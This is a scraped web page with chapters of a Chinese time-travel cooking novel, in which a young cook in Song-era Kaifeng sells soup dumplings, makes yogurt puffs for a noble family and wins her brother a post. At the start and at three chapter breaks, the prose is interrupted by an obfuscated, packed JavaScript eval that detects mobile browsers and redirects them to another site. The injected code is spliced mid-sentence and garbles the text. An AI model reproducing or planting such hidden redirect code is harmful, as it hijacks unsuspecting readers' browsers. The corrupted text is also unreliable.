;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836666|159075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在场的人品尝。 孟二娘虽然摸不清汤包的做法，却十分清楚吃法，交代其他人说：“这汤包万不可一口咬下去，否则非烫伤舌头不可，要先咬破皮肉，慢慢将肉汤吮吸出来……” 说着，她亲自演示起来。 汤肉带着滚烫的温度率先流入口中，几乎能鲜掉人的舌头，一大口吞咽下去十分过瘾，面皮比汤饼还薄，又十分筋道，裹着肉丸似的肉馅儿一口吃下去，简直把人香晕了。 素来包子都是“吃”的，这种“喝”包子的吃法实在新奇，味道又绝佳，这吃食想不好卖都难啊。 几个人全都吃得赞不绝口，姜娘子不住地和梁莹小声说：“你阿姐的手艺也太好了。” 孟二娘当场拍板，要和梁琪签订契书。 孟记食铺负责一应食材采买，送到梁家，由梁琪做好每日的灌浆，再由梁莹这个学徒每日上工前，带到铺子里来，交由响堂行菜。 至于分成，梁琪能拿到利润的三成，不算低了。 契书签定，双方都很满意，梁琪把契书揣进怀中，辞别孟二娘和姜娘子，领着梁莹先回家。 路上，梁莹跟在她姐身边，觉得她姐现在厉害极了。 不仅能轻易把自己送去食铺当学徒，还和别人做起生意来，一开始那孟老板还不想收她，阿姐只蒸了笼包子，人家就巴不得把她栓在那不让走了。 一想到明日就要去上工，她这心里即激动又有点紧张。 她有些不确定地问：“阿姐，你和爹都说我性子闷，你说姜娘子会不会不喜欢我啊？” 梁琪摸摸她的脑袋：“怎么会？性子闷又不是缺点，说不定姜娘子喜欢文静的小娘子呢。” 梁莹点点头，她一定跟着姜娘子好好学着管帐的本事，将来成为像阿姐一样厉害的人。 回到家中，梁元已经在家了，不知道从哪淘了本“武功秘籍”，正跟着一招一式练得起劲。 把刚到家的梁琪姐妹都看呆了。 梁琪把新买的衣裳扔给梁元：“洗洗你那一身的汗，再换上试试。” “谢谢阿姐。”梁元挠着头笑了笑，“对了阿姐，午后你不在家，有个人来找你了。” 梁琪都要去做饭了，闻言顿住脚步：“谁呀？” 梁元形容一下来者的长相，又说明来意，最后说：“哦，他说他姓张。” 梁琪一听就明白了，是张铛头儿。 原来是李老爷家吃着那日的五谷渔粉很不错，尤其是尚在月子中的儿媳妇，就念着那一口渔粉的味道。 便寻到了四司六局张铛头儿那里，可怜张铛头儿三日内做了无数道菜肴，最后被主家记住的，竟是唯一一道不是他亲手做的渔粉。 梁琪带入一下张铛头儿，简直要欲哭无泪。 张铛头儿自然做不来渔粉，也不好居功，便带着李府的请帖来寻梁琪，若是梁琪方便，可登门为李府做菜。 梁琪拿着李府的请帖仔细想了想，觉得非常有必要登门一趟。 8. 酸奶泡芙（一） 翌日，清早。 梁琪一大早起床就开始忙活了。 孟记食铺的伙计刚好来送食材，大清早采买的小葱和菘菜，水灵得一掐全是汁水，豚肉也是屠户现宰的，挑的是上好的后腿肉。 东京的早市从寅时就开始了，因那个时候天都不亮，商家提着灯在晨雾中做生意，活像星星点点的鬼火，因此也叫鬼市。 说是鬼市，其实一点都不吓人，反而热闹得很，食铺、酒楼和大户人家的后厨，皆要一大早到鬼市去采买食材，不耽误做早饭。 梁琪把豚肉切成块，扔进绞肉机里打肉馅儿，打好的肉馅儿调味，而后倒进自动包子机中，让机器来包。 她检查了一下机器出来的质量，完全没有问题，便放心设定了一百个的量。 这包子机虽然不大，产量可并不低，不过半个小时，一百个灌汤包新鲜出炉。 梁琪并不蒸熟，而是在竹筐中衬上笼布，把包子一个个都装进去，小心盖好，避免干燥爆皮儿，等着梁莹上工是给孟记食铺带过去。 包子装进竹筐，梁莹那边也收拾完毕，拎着竹筐出了门。 观桥离孟记食铺并不远，梁莹走了一刻钟的时间就到了，把竹筐交给后厨，由厨子将包子转移至笼屉中，好好蒸上。 孟二娘今儿也不在房里批切香料了，书了“灌浆汤包、樊楼同款”的牌子挂在门口，亲自看着生意。 不一会儿，便有客人问询：“你家这灌浆，真的和樊楼卖的一摸一样？” 孟二娘答：“当然，假一赔十。” “多少钱一笼？” “四十文。” 四十文吃顿早饭，有点贵，但四十文吃一笼樊楼同款灌浆汤包，那可太值当了。 这包子若是去樊楼和黄家吃，没有一百钱下不来。 那食客将信将疑地说：“给我来一笼。” 孟二娘主动充当起跑堂的角色：“好嘞，客官您里面请。” 灌浆还没端上桌，客人就闻到了肉包子的香味，虽不知和樊楼的是不是一个味儿，但闻起来着实很好闻呐。 等汤包上了桌，尝了一个后，这客人便不再纠结是不是和樊楼的一个味儿了，因为实在太美味了，不管是不是一个味儿，也值这个价钱了。 被招牌吸引来的食客越来越多，有在樊楼吃过的客人，看到招牌后好奇地来到铺子里，尝过后怒拍大腿，这可比樊楼的灌浆还好吃呢。 关键是还这么便宜。 孟二娘倒没想着抹黑樊楼，对此，给出的解释是人家大酒楼地段好，装潢也奢华，价格贵一些也能理解。 盖因生意如意红火，她心情好，让说什么好话都是能说出来的。 不过一顿早饭的功夫，一百个汤包已经全部售空。 孟二娘边数钱，边念叨包子包少了，得让梁莹回去跟梁小娘子说说，包二百个都不愁卖。 故而拿着甜果茶来到梁莹跟前儿：“莹丫头，晚上回去跟你阿姐说，明个的包子越多越好，千万记得哦。” 梁莹点点头：“记下了。” 她刚帮铺子里忙活完早膳的活计，正要开始跟着姜娘子学习，今儿是第一日上工，她这心里头多少有些忐忑，不知道孟二娘和姜娘子对自己满不满意。 现在看来，因着阿姐的缘故，孟二娘只会更照顾自己。 至于即将拜师的姜娘子……梁莹端起甜果茶，恭恭敬敬地奉到姜娘子面前：“师父，请用徒儿的茶。” 算是拜师礼。 姜娘子微微一愣，旋即眉开眼笑：“这孩子，忒懂礼貌。” - 与此同时另一边，梁琪带着请帖来到李府。 上次作为四司六局的白席人，她是从后院的角门进出，这回竟然直接来到李府的正门。 交给家奴看清请帖后，梁琪被恭恭敬敬从正门请进来，进了垂花门，一路被带到花厅。 早就知道厨娘在东京的地位不低，尤其是被达官贵府请上门做饭的，就更不能怠慢。 从前看《江行杂记》，其中记载，太守物色厨娘，不仅支赐钱财和绢帛，还拨一四拾暖轿，供厨娘来去。 梁琪现在的身份虽不算正儿八经的厨娘，但也是被李府下了请帖请来的，自然比当备菜丫头时的待遇好多了。 家奴说去请夫人，又着人奉上一盏茶，让客人且稍后。 梁琪边喝茶边等，这茶是普通的散茶，并不是如今东京街头巷尾都流行的点茶，想来武家出身的李府仍然未模仿到文人雅客的精髓呢。 一盏茶都品完了，仍没见人来。 梁琪都要坐不住了，正要站起身子打探消息时，方见那家奴来了。 家奴打了个千儿，语气中带着歉意：“梁小娘子，实在对不住，我家少夫人又不想吃渔粉了，让奴好好送小娘子回去。” 说着又从袖口里摸出半吊钱：“少夫人说了，不能叫小娘子空跑一趟，该有的赏钱一分不少。” 梁琪接过钱揣进怀里，李家还真是体面，她就坐着喝了一盏茶，钱就赚到手啦？ 弄的她自己都不好意思了，现代人无功不受禄的思想作祟，这钱拿着总是不安心。 她多问一句：“贵府少夫人，可是刚生了贵子那一位？” 前几天李府给孙儿办百岁宴嘛，又说是少夫人，多半是李府嫡孙的亲娘。 “正是。” 梁琪就能理解了。 都说孕妇口味变化莫测，实则坐月子的妇人口味也是怪得很，上一秒还想吃甜食，可能下一秒就想吃酸了。 难怪昨个儿还想吃渔粉，今日把厨娘都请来了，又变了胃口，宁愿白花钱也不愿意吃。 月子里的妇人本就辛苦，梁琪从前有个玩得好的表姐，月子里就胃口弱的什么都吃不下，就爱吃她做的山楂糕。 一想到表姐，她就生出些恻隐之心，左右今儿闲着无事，不如给少夫人好好做几道爽口小菜。 便说：“少夫人既不想吃渔粉，不知此刻想用些什么，不是妾自夸，只要是少夫人说出口的菜名，妾都是能做的，还请小哥代为转达。” 家奴听着也有道理，又去回话。 院子正堂的暖阁里，年轻的媳妇儿于氏正在床榻边上坐着挑绣样，婆婆李夫人在边上陪着。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836667|159075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 李夫人的心思不在绣样上，府上养的有秀娘，都给她的宝贝大孙子做多少小衣裳了，足足够穿到十岁了。 她虑的是儿媳妇胃口不好，从有了身子后胃口就弱，想着生了孩子后能好起来，谁知竟然一点气色都没有。 虽说她们这大户人家，都有乳母奶孩子，少夫人没有奶水也无碍，可她那身子骨也太瘦了。 不说儿媳妇的娘家人看了心疼，就是她这个当婆婆的瞧着也不好受。 昨儿于氏好不容易念叨起吃食，说想着那日宴席上厨司做的渔粉，她就立刻让人去寻做渔粉的厨子。 谁知今儿把人请来了，于氏又吃不下了。 儿媳妇温温柔柔地道歉，说都是自己不好，胃里不争气，白费了婆母一番苦心。 弄的李夫人也不好说什么，只能耐着性子又问：“午膳吃点八宝甜粥可好？” 于氏带着歉意笑了下：“母亲，我吃不下，让厨房别忙活了。” 李夫人那个愁啊：“这也吃不下，那也吃不下，这可怎么好？” 恰逢这时，丫鬟进来传家奴的话。 李夫人问：“什么事？” 丫鬟答：“那厨娘遣阿三来问，少夫人不想吃渔粉也罢，想吃些别的她都能做，也不白拿赏钱，请少奶奶示下。” 于氏便笑了：“这倒是个懂规矩的厨娘，换做旁的厨子，有钱拿还不用做活儿，早乐的溜走了，谁还会再专门遣人来问。” 李夫人也是这么想的，厨娘懂事，更是给了她一个上好的理由：“既然那厨娘都这般懂事了，你也就点几个菜让她去做，也不枉费人家的好心。” 于氏觉得有理，也不拘吃什么，只当给厨娘个面子，想了想说：“就让那厨娘做些拿手的、爽口的来。” - “拿手的、爽口的。”梁琪站在灶台前，重复着少夫人的要求，心里已经有了主意。 李府的厨房她待过整整三日呢，一应食材、厨具和香料的位置一清二楚。 因此也不要李府的帮厨，一个人在厨房中，挽起袖子开始干活儿。 梁琪都想好了，今日给李少夫人做的一共是四道美食，一曰锅包肉、二曰凉拌虾仁、三曰芙蓉鲜蔬汤、四曰酸奶泡芙。 锅包肉酸甜开胃，虽是荤菜，却一点都不油腻；凉拌虾仁则是酸辣爽口，乃解腻神器；芙蓉鲜蔬汤不仅清新淡雅，更是营养丰富。 至于第四道酸奶泡芙，这才是梁琪给李少夫人花心思准备的小零食，酸凉可口的酸奶，没有人能拒绝。 前三道菜都是在李府的厨房中完成，泡芙则放在智能烤箱中烤制。 透过玻璃箱门看，小馒头似的泡芙皮慢慢胀大，跟朵花似的逐渐绽放，颜色也由奶黄逐渐变成焦黄。 打开烤箱门的一瞬间，属于甜品独有的馨香味儿争先恐后冲出来，差点儿把人香晕过去。 梁琪把黏稠似奶油的老酸奶装进裱花袋中，等泡芙晾凉后，戳开泡芙的底儿把酸奶挤进去十足十的量。 如此这般，四道菜就齐全了。 梁琪整理好衣衫，喊来家奴捧着木托去正堂上菜。 9. 酸奶泡芙（二） 梁琪来到正堂门外，一旁的家奴捧着木托相随，听到有丫鬟叫“传膳”，她便领着家奴进去。 于氏和李夫人衣冠整齐，已经在饭桌前就坐。 家奴把四道菜一一摆上桌，又捧着木托退下。 梁琪则在一旁侍菜。 东京的厨娘都有这个规矩，即要为主家介绍今日的菜品，是何菜系，有何特色等。 四司六局中便有厨司的人专门侯在宴席一旁，为主家介绍菜品；大酒楼中也有响堂一职，为客人行菜。 于氏先前吃李府厨子做的菜，总是尚未下筷，心口就生出腻腻的不适，可今日听完小娘子春风化雨般的介绍，竟没有任何不舒服。 “听着倒是爽口得很。” 李夫人在旁劝道：“尝尝看。” 李府这种大家族按规矩来说，儿媳妇是要侍奉婆母用饭的，而不是像现在一样单独用膳。 可这不是尚在月子中嘛，李夫人又是个照应儿媳的好婆母，甚至亲自陪着用膳，她自己的午膳待会儿要回前院，和李老爷一起用。 于氏拿起筷子，先加了颗粉嫩的虾仁来吃，她的潜意识中，虾仁较为清淡，比荤菜的锅包肉可清爽太多了。 果不其然，这虾仁不仅口感爽脆，味道也是上佳，用陈醋来调味反而有种独特的清爽。 宋朝尚未有辣椒，梁琪用少量芥末增加辣味，吃起来果然酸辣开胃。 几颗虾仁下肚，于氏不仅没觉出不适，反而食指大动，有了胃口。 她的筷子又伸向锅包肉，这可是道有挑战性的荤菜。 李夫人有些惊讶地看着儿媳，从前能吃上三五筷子已经是不错的状态，荤菜极少碰，今儿竟主动去夹荤菜了。 看来这小厨娘有两下子。 锅包肉出乎意料的好吃，外表的酱汁薄薄一层，跟琥珀似的，虽然黏，味道却酸甜可口，里面的酥肉更是不柴不干，水灵得几乎能渗出汁水。 于氏也连着吃了好几块。 李夫人看向梁琪，脸上的欣喜之色要藏不住了。 于氏觉得胃里很舒坦，喝了几口蔬菜汤压一压，那菜汤也很鲜美，小娘子做的仔细，一点油花都没有。 便只剩第四道了。 于氏看着那圆溜溜的小玩意儿，焦黄的颜色跟家里养的橘色狸奴一个色儿，正散发出阵阵奶香，煞是好闻。 只是从来没见过。 “这是何物？” 梁琪说：“这道点心叫泡芙，里面有酸酥酪馅儿，少夫人尝尝。” 于氏本不爱吃甜腻腻的点心，宴席那日果子局和蜜煎局上的糕点一概没尝，单就吃了一块枣花酥，甜度正好，不像别的点心似的太过甜腻。 但听到小娘子说里面有酸酥酪，又心动起来，拿起一只细细品尝。 外皮焦香，带着点酥脆，吃着并不是特别甜，反而是奶香味更重，惊喜在里头，一口咬下去，里面白花花的酸奶便露了出来。 老酸奶并没有特别重的甜味，酸中带着发酵后的浓香，冰冰凉凉的，抿在舌头上简直太舒服了。 于氏坐月子这几个月时常待在暖阁中，乍一尝到凉爽的食物，感觉全身都舒坦起来。 她不禁惊喜道：“此物竟如何美味？” 又转而对李夫人说：“母亲，您也尝尝？” 李夫人慈爱地说：“都留给你，你吃着好，就再好不过了。” 梁琪笑说：“少夫人尚在月子中，不易吃冰，这酸酥酪只是微凉，无甚大碍，等少夫人出了月子，可尝尝加冰沙和冰酥酪的泡芙，夏日消暑是再合适不过。” 听到于氏心动不已，热切地期盼夏日到来。 这顿饭于氏没少吃，李夫人心里的一块大石头也落了地，总算没白辛苦寻来这厨娘。 她好奇地问：“你这厨艺在四司六局中也是拔尖的，怎的还是个备菜丫头？你们司长竟也不提拔于你？” 梁琪的厨艺虽好，却尚未露出锋芒，只说：“厨司的张铛头儿是多年的老厨子，经验比我老道，我资历浅，在备菜丫头一职上多磨砺不是坏事。” “是这个理。”李夫人很喜欢这小娘子不骄不躁的性子，“好事多磨，你有好手艺，日后不怕没有出头之日。” 梁琪叉手一礼：“多谢夫人吉言。” 李夫人笑了下，回头跟儿媳说：“方才就说这丫头懂事，现在一见，果然不错。” 于氏抿嘴笑说：“母亲喜欢，何不赏她些什么，日后咱们再叫她上门，也好说话。” “是了。”李夫人寻思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836668|159075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着，“我这一时半会儿还真想不起来赏些什么，小娘子，你可自行讨赏。” 梁琪一喜，也不客气，大大方方讨起赏来：“妾身有一小弟，自幼喜欢习武，得知李相公乃开封府都尉，心中十分崇敬，若是李老爷能收了小弟在麾下，想来小弟定欢喜异常。” 李夫人先是一愣，旋即明白过来，这是替自家小弟讨了个赏。 这姑娘不讨金银、不讨绢帛，而是为了自家人的前程谋划，是个目光长远的。 虽说讨的这个赏不在她的能力范围之内，但也只需知会老爷一声即可，不过是收个小兵而已，对开封府都尉来说，压根不是什么难事。 李夫人答应下来：“既然我都应下你了，万没有反悔的道理，你且跟我来。” 于氏贴心地交代说：“快跟上去，夫人要带你去见老爷了。” 梁琪连忙向于是曲膝告辞，跟上李夫人的脚步。 到了前院，李夫人问：“老爷可回来了？” 有丫鬟答：“才刚回来，正要说要传膳呢。” 李夫人带着梁琪来到正堂，李老爷笑呵呵地迎上去，正想讲述今日在街上见的奇闻逸事，突然见有外人在，便又敛了神色，挺直腰背，端起五品都尉的架子。 “这位是……” 梁琪忙上前行礼：“妾身梁琪，见过李相公。” 李夫人在高堂坐下：“梁厨娘，先前在宴席上做过渔粉，今日请来给儿媳做吃食，昨儿跟你说过的，老爷忘了？” 男人对内宅的事总是理不清，好在还记得渔粉的美味，李老爷连忙“对对对”地说：“记起来了。” 李夫人继续说：“这小娘子做的吃食甚合儿媳的胃口，我说了要赏她，她想让家中小弟进开封府当差，你看如何？” 梁琪有些紧张地看向李老爷，李夫人虽然答应了，这事能不能办妥，还是李老爷说了算。 李老爷做沉思状：“这个嘛……不好办啊。” 梁琪的心凉半截。 就在这时，李夫人突然站起来，刚才在儿媳妇面前的端庄大气，此刻在夫君面前化作母老虎的戾气，插着腰：“姓李的，前几天给你老友办事时好说，现在我让你办事，就说不好办是不是？？” 梁琪：“……” 10. 刀削面 李老爷椅子没坐稳，差点儿被这母老虎的一声后给吓得蹲地上。 连忙起身拉着夫人的胳膊开始哄：“夫人，好夫人，怎么好端端的又生气了？” 看得梁琪一愣一愣的，想笑，又得忍住。 别看李都尉在外面是个挺大的官，回到家中还是惧内。 李夫人的指头差点戳到李老爷鼻尖上：“昨个是谁在儿子面前信誓旦旦地夸下海口，说只要能请来让儿媳妇吃得香的厨子，要金要银都照赏不误，现在厨娘我给你找来了，要个小小守卫的职位，你都不给？” 李老爷全然没有招架之力，嘟囔着给自己辩解：“这算是给我找的吗？” 李夫人一听更气了：“话不是你说的？你别跟我吵吵，跟你儿子吵去，再不然，跟你儿媳妇说去，就说你这一家之主连口饭都让她吃不上。” 李老爷：“……” 天大的冤枉，怎么成他要吵了。 其实收个小兵的事根本不难办，他不过是想让这事显得难办那么一丢丢，再办妥，也好让夫人知道他这五都尉的威风。 可威风没耍起来，苗头都被摁灭了。 情急之中，李老爷福至心灵，精准踩到让战火平息的关键词：“好办，好办。” 李夫人紧盯着他。 李老爷忙说：“小娘子弟弟的事一定能办妥，老夫这就手书一封，让他明日晨时到开封府寻我就是。” 李夫人这才罢休，仍然愤愤地说：“老娘说话都不好使了，非要丢个脸才肯好好办事。” 李老爷简直欲哭无泪，早知道就不逞威风了。 梁琪大喜过望，连忙俯身道谢：“劳烦李相公，妾身感激不尽。” 李老爷觉得有些丢脸，轻咳一声：“好说、好说。” 梁琪得了赏钱，又帮弟弟讨得好差事，心情大好。 在开封府当守卫诶，不仅能天天习武，还有师父教习，更诱人的是历任开封府尹中，青史留名者数不胜数，能日日见到名人的风姿，岂不是快事一桩！ 她再次拜谢李夫人，承诺只要没有差事在身，就会给少夫人来做吃食，若是忙，有空也会差人送来糕点。 回到家中已是傍晚，梁元正在家里扎马步。 梁琪进门一瞧，好家伙，柴也劈了，院子也扫了，连一家人的衣裳都囫囵吞枣地洗出来了。 梁元这孩子倒也不是不勤快，平时也干些劈柴跳水的活儿，十来岁的小伙子到底是懒散，爱出去疯玩，像今日连衣裳都洗了的情况还真是不多见。 “今儿太阳打西边出来了？” 梁元的马步纹丝不动，语气中带着撒娇：“阿姐，小妹都在跟着账房先生学管帐，还能赚钱，我还跟个傻大个一样，在家坐吃山空。” 梁琪懂了，这是觉得自己无所事事了呗。 家中三个孩子，大姐在四司六局挂职，虽说现在还是个备菜丫头，可凭借出色的厨艺，将来一定能当上正儿八经的厨娘；小妹现在也在食铺当学徒，等学成归来就是女先生，赚钱还不是手到擒来。 只有他这个家中唯一的男丁，不仅没担起顶梁柱的职责，还成了最闲散的人。 所以怒而洗全家的衣裳。 梁琪就是要磨一磨这家伙的性子，让他知道机会都是来之不易的：“先前吃不了读书的苦，练武只会更苦。” 梁元忙跟上去：“我能吃练武的苦。” 梁琪开始做晚饭：“不仅能吃苦，还要持之以恒，三天打鱼两天晒网可成不了气候。” 梁元十分有眼力劲地把柴火都搬进厨房：“我绝不会半途而废。” 今儿的晚饭梁琪要做刀削面，在陶盆中加面粉，入盐、碱、淀粉，水、蛋液，和了个面团出来，放在陶盆里醒着。 而后趁梁元不注意，用绞肉机绞了些五花肉。 猪腹上的五花肉层层叠叠的，颜色十分喜人，汴京人嫌豚肉腥味重，不爱要，尤其不爱满是肥肉的五花肉。 梁琪却爱得紧，她对处理豚肉的腥味颇有心得，做出来的肉味和后世没有分别，肥硕分五花肉又能熬制猪油，可是块宝贝。 “阿弟，烧火。” 肉末放入热锅煸炒，肥肉在热锅中炒出油脂，放入姜末、葱花，又把调和好的料汁倒进去，小火慢炒。 等豚肉断生，就往锅中加入适量清水。 刀削面最关键的是面，讲究三分揉、七分醒，梁琪揉了三次，也醒了三次，最后面团成了规整的形状，表面十分光洁。 梁琪用擀面杖趁在面团下面，又把擀面杖搭在小臂上，一手固定面团，另一手操持菜刀，只见菜刀在空中挥舞，面团唰唰唰被削成二宽的面条，薄厚和粗细几乎一个模子里印出来的，在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836669|159075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半空中划出一道弧线，落入开水中。 梁元看得惊叹不已，他知道阿姐的厨艺不俗，却没想到不俗到这种程度。 这么高超的削面技巧还是个备菜丫头，可见基础打得有多牢固。 梁元削完面，就瞧见梁元出神的神情：“怎么还出神了？” “我在想，我也要像阿姐削面一样，打好练武的基础。”梁元闷闷地说。 “烧个火，还烧出人生感悟来了。”梁琪笑道，“莹姐儿也快回来了，准备开饭。” 面刚盛出来，梁莹可巧就回来了，忙洗了手，帮忙一起端饭。 堂屋满是刀削面的香气，梁莹闻了不由地夸赞：“这汤饼好香。” 宋朝人管面食都爱叫“饼”，面条因有汤，故而叫“汤饼”，馒头因是在笼屉里蒸出来的，故而叫“蒸饼”，或是“笼饼”。 梁莹梁元兄妹俩吃面吃得津津有味，这刀削面最是筋道爽弹，面汤又浓，挂在面上一起吸入口中，满口都是浓浓的肉末酱汁味道。 席间，梁琪问亲妹子：“第一日上工，感觉如何？” 梁莹原不是个话多的，说起这个话题，她却有一篓子的话要说，滔滔不绝地讲起在今日在孟记食铺的见闻。 说早起那灌浆卖得极好，又说孟二娘待她不错，晌午请她们吃的也是汤饼，只不过没阿姐做的好吃，还说姜娘子今日教了好些学问，都是她从前不知道的…… 梁琪看着她眉飞色舞的样子，就知道这学徒当对了，干自己喜欢的事嘛，怎么能不开心。 梁莹开心了，梁元越听把头埋得越低，姐姐妹妹都有自己的小事业，就他是个吃白饭的。 不行，明儿他也要去找出路！ 姐妹俩都知道是怎么回事，对视一笑。 梁琪从怀中掏出一封文书，递到梁元面前：“呐，开封府李都尉给你的。” 梁元打开一看，人都愣住了。 刚才还想着谋出路呢，武差这不就来了？ - 梁琪又在家休整了几日，除了给孟记食铺做灌浆汤包，就是给于氏做小食，过得倒也悠闲自在。 从前是她出门做工，弟弟妹妹待在家中，如今调了个个儿，弟弟妹妹都出门了，家里只有她自己。 谁知没闲几日，四司六局召集全部白席人。 来生意了。 11. 独家费 梁琪要去四司六局上工，得先处理好家里的事。 李府那边定是不能再去了，既然给少夫人做不了饭，她便做了一盒山楂锅盔，亲自送到李府，顺道说明情况。 于氏虽然不舍，却也不能不让梁琪去上工，否则小娘子岂不是成自家府里的私厨了。 好在梁琪还留了两张家常菜的食方，让府中的厨子照着方子来做，也能仿出七八分像。 处理好李府的事，梁琪又来到孟记食铺。 先前都是梁莹上工时把灌浆汤包带过去，接下来这几日，梁琪要随四司六局住在主家府上随时待命，却是没办法再让梁莹继续捎带。 她心里想了两个解决方法，一个是让食铺的伙计一大早去主家府上取；另一个是给孟记食铺提供速冻汤包。 至于到底选什么方案，得让孟二娘自己拿主意。 到了孟记食铺，梁琪把情况和解决方案跟孟二娘一说，孟二娘想了想便选了后者。 梁琪意外地说：“我以为你会选前者。” 毕竟速冻汤包保存再好，到底不如新鲜的口感好。 孟二娘笑说：“你在主家府上备菜，本身就够劳累了，还要做汤包，自己身子还要不要了？” “虽说食材什么的伙计都会给你送去，但你毕竟在别人府上，若是短了东西你说不清的。” 这些梁琪都考虑到了，她有随身空间，孟二娘送来的食材决计不会和主家厨房里的东西混为一谈，甚至于从头到尾都不会出现在东家厨房里。 但别人又不知道她有随身空间，孟二娘的解释完全是为了她考虑。 梁琪心下感动，叉手一礼：“多谢二娘替我着想。” 孟二娘笑了下，说：“你的灌浆没少让我赚，连带着食铺其他生意也好了不少，你可是我的大雇主。” 梁琪也跟着笑了，又问食铺是否有冰窖。 “别看我这食铺小，却是麻雀虽小、五脏俱全。”孟二娘指了指铺子最里面，“铺子里一到夏日就会售卖冰引子，冰窖是现成的，不过是今年早些买冰罢了。” 梁琪点点头，那就没什么忧虑了。 既然孟二娘要出钱买冰，这部分钱也不能让合作伙伴一个负担，便说：“往后我拿二成利。” 按原本的契书上所写，她分得三成利，现在算是让出一分利润来负担买冰的钱。 孟二娘笑道：“跟旁人谈生意都是分毫必争，梁小娘子你真是个实诚人。” 梁琪被夸，也不谦虚，颇为自豪地说；“生意人重在一个‘诚’字，才能走的长远。” “是这个理。”孟二娘说，“咱们都别争了，二分半的利，都不吃亏，契书我让人重写新的来。” “好。”梁琪点点头，“我或许要去三日左右，先备下一千只灌浆可够？” 孟记食铺现在生意很是不错，每日能卖两三百只汤包，三日左右的话，一千只倒也勉勉强强，再多孟二娘担心梁琪做不完。 “够了够了。” 梁琪正要先回去，等傍晚送包子时再顺道拿契书。 “梁小娘子，还有个事。”孟二娘把人叫住。 梁琪问：“二娘还有何指教？” 孟二娘有些为难地开口：“就是、就是这灌浆，我能不能在契书上写下‘独家供应’的字样。” “独家供应？” 梁琪一开始还真没想到这茬，她能给孟记食铺供应汤包，也能给别的食铺供应，到时候孟记食铺就不再是出几个大酒楼以外，唯一售卖灌浆汤包的食铺了，生意必然会受到影响。 可若是一早就签下独家权，梁琪就不能再给其他食铺签汤包契书，这汤包的生意，算是买断了。 甭管往后会不会有人模仿出汤包的做法，单是这段时间赚的，就足够了。 梁琪身为一个现代人，最应该知道独家权，却一时没想全乎，还让孟二娘一个古代人给提出来了，还是嫩啊，不如经营多年的孟二娘经验老道。 签独家供应没问题，左右只有汤包的独家权，她也没有精力再供应一家，何况能当场收一大笔钱独家费，感觉也很不错呢。 于是便答应下来：“没问题呀，二娘愿意出多少独家费？” 孟二娘似乎早就考虑过这个问题，当场说了个数：“五贯。” 五贯就是四千文钱呢，梁琪粗略地算了下，觉得不赔本，就说：“好，加在契书里。” 孟二娘拍掌笑道：“梁小娘子真是爽快人。” 说好后，梁琪再没有后顾之忧。 回到家里，就开始做那一千只灌汤包。 其实听着数量多，做起来并没有那么难，只需要把面粉和肉馅儿调制好，包的活儿就能交给包子机。 说简单倒也没那么简单，调制肉馅儿和和面的活儿得亲自上手，不能大意，力求量产也能达到精制的口味和品质。 何况量确实大，等搞定馅儿和面团，梁琪的鼻尖都冒出汗珠了。 日过晌午，她从智能厨房中出来，等着包子机工作完毕。 方才在河市上，梁琪卖了三只钱箱，一大两小，现而都在八仙桌上放着，个个都落着铜锁，系着铜匙。 大的是给自己的，两只小的分别是弟弟妹妹的，一人一只。 倒不是要和家人把钱分得那么清楚。 她是这么想的，从前家里穷，一个多余的子儿都没有，自然用不着钱箱，现在不一样了，家中三口都有自己的小事业。 虽说弟妹赚的不算多，但钱箱也得备下，且不说现在就学着理财投资，起码看着钱箱日益变重，也有一种油然而生的成就感。 梁琪搬着自己的钱箱回到卧房，把最近赚来的铜板用棉线穿成串，百个一串，竟也穿了十来串。 这些钱有四司六局的工钱和赏钱，有给李府少夫人做饭的赏钱，更有从孟记食铺那得来的分成，林林总总加起来，竟有近两千钱。 压得钱箱沉甸甸的，虽然砸得手酸腕疼，却让人爱不释手，毕竟谁不喜欢钱哗啦啦的声音呢。 本朝八百钱算作一贯，这些钱加起来也才两贯多，放在富贵云集的东京，仍算作贫户。 所谓腰缠万“贯”，便是指一个人有万贯家财，那才叫有钱人呢。 东京居大不易，房价更是贵得没边，想要买间铺子，至少也得大几百贯，依照梁琪现在的财力，食铺根本开不起来。 